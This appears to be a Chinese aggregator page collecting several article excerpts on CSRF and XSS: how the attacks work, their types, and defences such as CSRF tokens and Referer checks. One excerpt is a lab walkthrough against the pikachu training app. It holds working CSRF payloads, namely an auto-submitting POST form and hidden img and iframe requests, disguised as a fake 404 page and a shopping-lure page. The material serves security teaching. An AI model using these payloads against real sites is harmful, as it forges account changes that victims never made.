全称跨站伪造
-
2019-02-26 18:00:00
转载于:https://www.cnblogs.com/dreamer-zhang/p/10439055.html
更多相关内容 -
CSRF原理及预防
2022-02-14 10:42:57CSRF攻击原理及过程如下: 1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A; 2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到...CSRF攻击原理及过程如下:
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
总结:
CSRF问题根本原因是基于以下几点原因:
1. 用户身份信息以cookie形式保存在客户端
2. 服务端的增删改操作(post/put/delete)基于token进行客户端身份验证
解决方法:
根据以上原因,解决方法一个是在客户端不存cookie,但显然不太可能。
另一种方法是在做增删改(不包含get请求-查询操作)时,不仅仅检查cookie,还需要客户端携带一个header或者parameter(URL路径里的或者form body里的),名字比如说就叫csrf,value就是一个token。而这个token必须是通过上一个get请求返回给客户端,然后客户端再下次请求时携带到服务端对服务端资源做更改。然后服务端就可以对这个csrf token做验证。因为这个csrf token是通过http header或者parameter方式传送的,而且是通过上次请求获取到的,不是保存在cookie中,所以CSRF攻击者无法伪造这个token。
比如spring security就是在用户登陆成功后,构造一个_csrf的键值对,保存在用户session对象中,可以根据需要随时返回给客户端,然后客户端下次请求再将其通过header或parameter形式传过来。
除了这种方式,还有使用http 头refer字段等方式,各有优缺点,这里不详细介绍。
-
XSS、CSRF原理及防御
2021-11-02 15:23:08CSRF与 XSS 区别 通常来说 CSRF 是由 XSS 实现的,CSRF 时常也被称为 XSRF(CSRF 实现的方式还可以是直接通过命令行发起请求等)。 本质上讲,XSS 是代码注入问题,CSRF 是 HTTP 问题。 XSS 是内容没有过滤导致...1. XSS是什么
Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等
XSS 常见的注入方法:
- 在 HTML 中,恶意内容以 script 标签形成注入。
- 在标签的 href、src 等属性中,包含 javascript: (伪协议)等可执行代码。
- onload、onerror、onclick 等事件中,注入不受控制代码。
- 在 style 属性和标签中,包含类似 background-image:url(“javascript:…”); 的代码(新版本浏览器已经可以防范)。
2. XSS的分类
存储型、反射型和 DOM 型三种
存储型 XSS(持久型)
- 攻击者将恶意代码提交到目标网站的数据库中。
- 用户打开目标网站时,
网站服务端将恶意代码从数据库取
出,拼接在 HTML 中返回给浏览器。 - 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
- 常见于带有用户保存数据的网站功能,如
论坛发帖、商品评论、用户私信
等。
反射型 XSS
- 攻击者构造出特殊的
URL
,其中包含恶意代码。 - 用户打开带有恶意代码的 URL 时,
网站服务端将恶意代码从 URL 中取出
,拼接在 HTML 中返回给浏览器。 - 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
反射型 XSS 跟存储型 XSS 的区别是:
存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里
。DOM 型 XSS
- 攻击者构造出特殊的 URL,其中包含恶意代码。
- 用户打开带有恶意代码的 URL。
- 用户浏览器接收到响应后解析执行,
前端 JavaScript 取出 URL 中的恶意代码并执行
。 - 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别:
DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞
,而其他两种 XSS 都属于服务端的安全漏洞。3. 常用防范方法
- httpOnly: 在 cookie 中设置 HttpOnly 属性后,js脚本将无法读取到 cookie 信息。
- 输入过滤: 一般是用于对于输入格式的检查,例如:邮箱,电话号码,用户名,密码……等,按照规定的格式输入。
- 编码: 将特殊字符(如<等)转换为HTML实体
- 限制长度: 一般xss攻击要能达成往往需要较长的字符串,因此对于一些可预期的输入,可以通过限制长度强制截断来进行防御。
- DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等,a 标签的 href 属性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。
4. CSRF是什么
跨站请求伪造
(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。如:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户
对被攻击的网站执行某项操作的目的。
CSRF与 XSS 区别- 通常来说 CSRF 是由 XSS 实现的,CSRF 时常也被称为 XSRF(CSRF 实现的方式还可以是直接通过命令行发起请求等)。
- 本质上讲,XSS 是代码注入问题,CSRF 是 HTTP 问题。 XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie,而一般网站的 session 都存在 cookie里面(Token验证可以避免)。
5. CSRM防御
- 验证码: 强制用户必须与应用进行交互,才能完成最终请求。此种方式能很好的遏制 csrf,但是用户体验比较差。
- Referer check: 请求来源限制,此种方法成本最低,但是并不能保证 100% 有效,因为服务器并不是什么时候都能取到 Referer,而且低版本的浏览器存在伪造 Referer 的风险。
- token: token 验证的 CSRF 防御机制是公认最合适的方案。若网站同时存在 XSS 漏洞的时候,这个方法也是空谈。
-
(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……
2022-04-03 18:54:14目录 CSRF 简介: CSRF与XSS的区别: XSS CSRF 原理: 基本流程: 危害: 分类: 站外攻击: 站内攻击: 举例: Get提交方法: Post提交方法: 未进行CSRF-token验证 位置: 原理: cookie中的token: FLASH CSRF ...目录
今天学会一个词,失之毫厘谬以千里
CSRF
简介:
CSRF(Cross-site Request Forgery)跨站请求伪造(或者缩写为XSRF),也被称为"One Click Attack"或"Session Riding"(曾被列为互联网 20 大安全隐患之一),是一种借助社工对网站身份的恶意利用。
不大流行,但如果被成功利用,危害更大。
CSRF与XSS的区别:
XSS
通过盗取网站内的已有的用户的身份,然后再执行相关操作
CSRF
通过伪装(伪造、更改状态的请求)用户身份(即盗用身份),通过服务器身份认证后,然后发送恶意请求(服务器会认为请求是合法的),但是服务器给出响应肯定是给真实的那个用户,
原理:
在浏览器中cookie在一段时间内是不会过期(不关闭或者退出浏览器),再次访问都会默认登录,这个应该都有体验。如果在cookie存在期间,通过构造csrf脚本或包含csrf脚本的链接发送给用户,得到信息后,再伪造成用户身份,执行相关操作
基本流程:
用户在某网站A进行登录-------->身份验证成功,返回cookie给用户---------->攻击者构建一个网站F,诱使用户使用同一浏览器进入(前提:未退出网站A,一般都会有默认浏览器)------------->网站F收到用户请求后,返回恶意代码给用户,强制他访问网站A---------->用户浏览器在网站A上执行相关操作(以已经持有的cookie)
危害:
比如发消息、盗号、转账……等没有没有需要再次验证身份的基本操作。
再要验证身份的话,那就再社工……(搭建一个一模一样的网站……)
分类:
站外攻击:
因为考虑到用户体验感,就不会将用户限制的死死的,一定会开放一部分功能供使用,攻击者在站外构造脚本伪造请求,用户在攻击者构造的网站中触发伪造请求时,强制用户客户端就会发起请求(一般是在同一浏览器,而且某一用户登录上的未退出的网站)
站内攻击:
如果开发人员滥用$_REQUEST 类变量,以Post提交的数据表单,也支持Get传参。攻击者把预测的请求参数上传到站内贴子或留言的图片链接里,当用户浏览了含有请求参数的页面就强制发出这些请求。
举例:
Get提交方法:
在你精心构造网页的事件里面,添加一些要求用户执行相关请求行为的链接
<a href="转款URL">砍一刀立赚200块</a>
这个标签把,也可以在其他里面,就是看哪里点击概率大
<img src="URL">
……
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='URL/bank/action.php?
username=xxx&money=10000&submit=%E4%BA%A4%E6%98%93'
alt='砍一刀赚200,这不冲'>
<meta>:可提供有关页面的元信息,位于头部。在 HTML 中,没有结束标签。 在 XHTML 中,必须被正确地关闭。
charset:编码
username、money:都是可能的参数名
alt:替代文本
Post提交方法:
post提交,一般都是提交到服务器的一些重要的东西
也可以在构造的网页里面有一个让别人容易相信的表单等post提交方法(不涉及很多私密东西)
用户提交post请求后,然后触发post伪造请求用户自己登录过的网站服务器,执行……
<meta charset='utf-8'>
<form name='csrf' action='URL/bank/action.php' method='post'>
<input type='hidden' name='xxxx' value='xxxx'>
<input type='hidden' name='money' value='10000'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
</form>:创建供用户输入的 HTML 表单
document:每个载入浏览器的 HTML 文档都会成为 Document 对象。Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问
未进行CSRF-token验证
位置:
cookie、 form表单、 URL参数
原理:
当用post提交数据的时候,django会去检查是否有一个csrf的随机字符串,如果没有就会报错
cookie中的token:
cookie一般不会附带HttpOnly属性,因为如果服务器自己要想再在cookie里面提取东西就不行了
因为CSRF-toke是限制CSRF,所以我们就要通过一定方法拿到CSRF-toke,问题就解决了
所以我们需要结合其他手段进行获取,例如xss等
FLASH CSRF
属性:
AllowScriptAccess:控制Flash与HTML页面的通信(设置不当导致XSS)
AllowNetworking:控制Flash与外部网络的通信(设置不当导致CSRF)
Json劫持
简介:
又称“JSON Hijacking”(与CSRF类似),Json劫持是为了达到获取敏感数据的目的,而CSRF类似于钓鱼(愿者上钩)
简而言之,就是对数据进行窃取,转向发给自己
获取数据的方式:
xmlhttp:
{"username":"……","password":"……"}
script:
userinfo={"username":"……","password":"……"}
利用过程:
第一步:寻找网站对象,使用AJAX(一般为JSON传输数据)作为前端脚本
第二步:诱导用户进入钓鱼网站
第三步:劫持钓鱼网站中用户的数据
(也爱爬山,山顶风景不是人人都可以看见的)
工具使用:
deemon
下载地址:
链接地址:Deemon is a tool to detect CSRF in web applications(github.com)
简介:
这是Deemon的代码库,一个用于在Web应用程序中检测CSRF的工具。 Deemon是一种应用程序无关的自动框架,旨在由开发人员和安全分析师在软件开发生命周期的安全测试阶段使用。当前版本的Deemon支持使用MySQL数据库的基于PHP的Web应用程序
CSRFTester
简介:
CSRFTester是一款CSRF漏洞的测试工具.运行在windows上。
下载链接:
链接:https://pan.baidu.com/s/1zHV1qwXwviOS29akrbODbA?pwd=hj12
提取码:hj12基本使用方法:
第一步:配置本地服务器的代理监听
第二步:开始记录
利用过程:
CSRF(GET)
第一步:模拟用户(目标)登录
尝试修改个人信息
在开发者模式中的网络中可以看见修改提交的URL
第二步:获取修改提交的URL
这个可以先自己提交的时候,然后找找提交修改的URL规律
不行的话,就结合xss等手段
第三步:构造恶意执行语句
http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=广州&email=123456qq.com&submit=submit
第四步:将构造的URL诱骗用户点击
在同一浏览器中打开这个URL将执行修改操作
http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit
更多其他的伪装方法:
写入html文件中,诱骗用户点击,并使用各种提示打消用户的疑虑
//①伪装成错误页面(即404页面)
<html> <head> <title> 页面找不到 </title> </head> <body> <img src="http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit" border="0"style="display:none;"/> <h1>404<h1> <h2>file not found.<h2> </body> </html>
//②使用嵌套,让用户不易发现
duoduo.html
<html> <head> <title> 某多多在线砍一刀 </title> </head> <body> <a href="post.html">在线机器人帮助砍一刀,点击砍取!!!</a> </body> </html>
post.html
<html> <head> <title> 某多多助手 </title> </head> <body> <p>请到某多多中查看砍一刀是否成功</p> <iframe/ src="http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit" frameborder="0" width="0px"> </body> </html>
CSRF(POST)
第一步:是要获得用户修改提交的URL
这个可以自己先提交一遍,尝试能不能分析出,不行就尝试社工
第二步:构造恶意执行语句
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://localhost:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="1111111" /> <input id="add" type="text" name="add" value="广州" /> <input id="email" type="text" name="email" value="111111111" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
第三步:诱导用户点击
就已经执行了修改操作了
-
XSS 和 CSRF 原理和基本防御方式
2021-08-10 00:25:13面试向:XSS 和 CSRF 原理和基本防御方式 -
spring security中的csrf防御原理(跨域请求伪造)
2020-08-25 07:09:38主要介绍了spring security中的csrf防御机制原理解析(跨域请求伪造),本文通过实例代码详解的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下 -
Django中CSRF原理及应用详解
2018-09-22 14:25:44Web开发中十分重要的一项内容就是Web安全,在我们进行服务端构建的时候,最常见的几种Web攻击无非是下面的这几种: 1.注入(SQL注入) ...今天主要就CSRF做一个简单的总结,结合Python Web框架Django 做一个... -
csrf原理及利用
2021-11-15 13:16:10csrf原理服务端未对用户请求来源校验,导致漏洞的出现 csrf 不要获取目标cookie,在目标登录相关网站拥有cookie时,使用此漏洞可以在指定网站使用目标cookie完成某些操作 具体实现(在没有token,refer验证前提下) ... -
CSRF原理及防御
2022-01-01 20:45:32CSRF漏洞危害 攻击者盗用了用户的身份后,以用户的名义发送恶意请求。 CSRF的恶意操作∶以用户名义发送邮件,发消息,盗取账号,购买商品,虚拟货币转账等等·造成的问题包括:个人隐私泄露以及财产安全问题。 CSRF... -
渗透测试基础-CSRF原理及实操
2021-04-20 20:57:07渗透测试基础-CSRF原理及实操CSRF原理漏洞总结 只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力????! CSRF原理 漏洞总结 XSS的防护方法可采用设置... -
从CSRF原理到CMS漏洞利用
2021-02-02 19:34:24文章目录0x01 基础知识:1、CSRF漏洞简介:2、与XSS的区别:3、攻击的细节:4、常见的攻击类型:4.1、GET类型的CSRF:4.2、POST类型的CSRF:0x02 CSRF漏洞检测:1、手动测试:2、使用CSRF检测工具:2.1、CSRFTester... -
CSRF原理及攻防解析(简单明了)
2020-04-04 21:28:40简单解析CSRF的原理,利用方式和防御方式 -
【安全狐】CSRF原理图及DVWA环境练习
2020-10-11 14:48:09[ CSRF ](Cross-site request forgery)跨站请求伪造,也被称为one-click attack或者session riding,通常缩写...一、CSRF原理图 受害者用密码password正常登陆服务器。 服务器通过受害者的身份验证后返回se... -
图解csrf原理
2017-01-25 13:37:16攻击原理:伪造请求链接,骗你来点 防御原理:不让你那么容易伪造请求(cookie中加入随机数,要求请求中带上,而攻击者获取不到cookie中的随机数) -
CSRF原理及防范
2021-11-27 22:18:58CSRF原理及防范 CSRF CSRF , 即Cross-site request forgery)中译是跨站请求伪造;CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器... -
CSRF的原理、类型以及防范
2019-05-13 00:41:27CSRF原理就是攻击者想方设法让你访问某一条链接,如果你真的访问了这一条链接,你就会执行攻击者想让你执行的操作了,简而言之,就是你如果访问了攻击者的链接,你就会被攻击。 用户的操作其实是通过访问具体的URL... -
Django之CSRF原理与中间件
2021-10-26 14:30:45那么这是为什么呢,我们先来说说CSRF的原理,例如当用户想要登录,输入了账号密码,CSRF就会返回一串字符给用户,用户每一次请求都带着此串字符才能正常操作,我们在form表单中添加 {% csrf_token %}即可表单带着... -
CSRF原理实战及防御手段
2021-01-14 17:13:21注:本文仅供学习参考csrf定义:CSRF跨站点请求伪造(Cross—Site Request Forgery)攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你... -
CSRF 原理与防御案例分析
2019-04-22 10:23:05CSRF 原理 攻击者通过盗用用户身份悄悄发送一个请求,或执行某些恶意操作。 CSRF 漏洞产生的主要原因: 1、请求所有的参数均可确定 2、请求的审核不严格,如:只验证了 Cookie 关于 CSRF 的执行过程,这里引用自 ... -
CSRF攻击原理及防护
2019-03-09 15:44:09一、CSRF是什么 ...二、CSRF攻击原理 CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。 三、CSRF攻击实例 角色: 正常浏览网页的用户:User 正... -
CSRF攻击原理与防御措施
2022-04-30 23:32:37CSRF(Cross-Site Request Forgery),中文名称:跨站请求伪造,缩写为:CSRF或XSRF,它是一种对网站的恶意利用,和XSS不同的是,XSS是利用站点内的信任用户,...XSS攻击原理/过程: 假设某银行网站A以GET请求来发起转. -
csrf是什么? Django中csrf的原理?
2020-11-28 14:45:17CSRF攻击 CSRF(英语:Cross-site request forgery)是跨站请求伪造的缩写,也被称为XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,CSRF利用的是网站对用户网页浏览器的信任,。 ... -
CSRF原理与防御措施
2018-12-18 01:57:57CSRF CSRF概念 CSRF跨站点请求伪造(Cross—Site Request Forgery) 相当于:针对一个特定的正常网站,攻击者利用URL或者Javascript伪造了一个请求,当用户点击攻击者设置的陷阱时(例如未知的第三方链接)即会发送该... -
CSRF原理及解决方案
2020-08-08 15:50:25原理 用户浏览并登陆(存在CSRF漏洞的)信任网站A 网站A验证通过,给用户返回一个cookie 用户在未登出的情况下(cookie未过期)登陆了恶意网站B 网站B带上网站A的身份(cookie)对网站A发起请求(修改你的密码,... -
WEB安全 | CSRF的原理及防御
2021-12-28 20:40:11作者: 1e0n ...WEB安全 | CSRF的原理及防御 1.CSRF的原理 2.CSRF简单实验 3.CSRF的防御 0x01 CSRF漏洞的原理 1.1 什么是CSRF? 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-cl.